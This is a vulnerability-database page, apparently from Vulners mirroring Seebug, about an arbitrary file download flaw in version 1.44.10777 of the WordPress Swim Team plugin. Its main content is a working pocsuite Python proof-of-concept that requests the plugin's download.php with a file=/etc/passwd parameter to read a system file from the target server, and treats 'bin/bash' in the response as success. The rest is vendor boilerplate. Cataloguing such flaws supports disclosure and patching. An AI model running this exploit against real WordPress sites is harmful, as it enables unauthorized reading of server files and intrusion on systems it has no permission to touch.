Lucene search
K

WordPress Swim Team Plugin 1.44.10777 - Arbitrary File Download

🗓️ 01 Sep 2015 00:00:00Reported by dropzeroType 
seebug
 seebug
🔗 www.seebug.org👁 31 Views

WordPress Swim Team Plugin 1.44.10777 - Arbitrary File Download vulnerability in download.ph

Code

                                                #!/usr/bin/env python
# -*- coding:utf-8 -*-

from pocsuite.net import req
from pocsuite.poc import Output, POCBase
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = '89281'
    author = 'anonymous'
    vulDate = '2015-07-13'
    createDate = '2015-10-06'
    updateDate = '2015-10-06'
    references = ['http://www.sebug.net/vuldb/ssvid-89281']
    name = 'WordPress Swim Team Plugin Arbitrary File Download'
    appPowerLink = 'https://wordpress.org/plugins/wp-swimteam'
    appName = 'WordPress Swim Team Plugin'
    appVersion = '1.44.10777'
    vulType = 'Arbitrary File Download'
    desc = '''WordPress Swim Team Plugin Arbitrary File Download in download.php file.'''
    samples = ['']

    def _attack(self):
        return self._verify()

    def _verify(self, verify=True):
        result = {}
        vul_url = '%s/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress' % self.url
        response = req.get(vul_url , timeout=10).content

        if 'bin/bash' in response:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url

        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail('failed')

        return output
register(TestPOC)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2015 00:00Current
7High risk
Vulners AI Score7
31